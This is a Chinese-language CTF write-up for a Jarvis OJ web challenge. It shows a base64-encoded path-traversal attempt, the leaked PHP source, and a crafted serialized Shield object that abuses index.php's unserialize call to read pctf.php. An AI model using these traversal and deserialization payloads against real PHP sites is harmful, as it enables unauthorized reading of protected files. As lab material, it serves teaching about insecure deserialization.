贴上题目链接 http://web.jarvisoj.com:32768/
打开来是这样子一张图片

分析下图片链接 showimg.php?img=c2hpZWxkLmpwZw==
图片是从showing.php中读取的,且img=base64编码

盲猜文件包含,直接 ../../../../../../../flag
读取
Base64 编码 Li4vLi4vLi4vLi4vLi4vLi4vLi4vZmxhZw==

似乎不对,接下来尝试读取已知showing.php文件的源码
查看源代码 view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=

1 2 3 4 5 6 7 8 9 10 11 12
| <?php $f = $_GET['img']; if (!empty($f)) { $f = base64_decode($f); if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE && stripos($f,'pctf')===FALSE) { readfile($f); } else { echo "File not found!"; } } ?>
|
再来看看index.php的源码

1 2 3 4 5 6 7 8 9 10
| <?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile(); ?> <img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
|
发现文件 shield.php ,来看看它的源码

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } ?>
|
flag在pctf.php里面,尝试读取

提示文件不存在,重新审计index和img的源码

前面过滤掉了pctf,所以不能直接利用,但是定义shield类里面没有进行过滤,我们利用反序列化漏洞,构造一个shield类,且属性file为pctf.php
1 2 3 4 5 6 7 8 9 10
| <?php require_once('shield.php'); $x = new Shield(); isset($_GET['class']) && $g = $_GET['class']; if (!empty($g)) { $x = unserialize($g); } echo $x->readfile(); ?> <img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php //flag is in pctf.php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } ?>
|
存在一个构造函数和一个readfile(file值不为空且不含..|/|\时,读file值的文件内容)
__construct():PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法,只有在对象创建时自动被调用
把上面序列化的代码复制下来,本地跑一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class Shield { public $file; function __construct($filename = '') { $this -> file = $filename; } function readfile() { if (!empty($this->file) && stripos($this->file,'..')===FALSE && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) { return @file_get_contents($this->file); } } } $shield = new Shield('pctf.php'); echo serialize($shield); ?>
|
得到 O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
根据index.php的
http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
flag在源码里,差点以为自己思路错了
view-source:http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
太坑了,还有个假的flag

php魔术方法:https://www.php.net/manual/zh/language.oop5.magic.php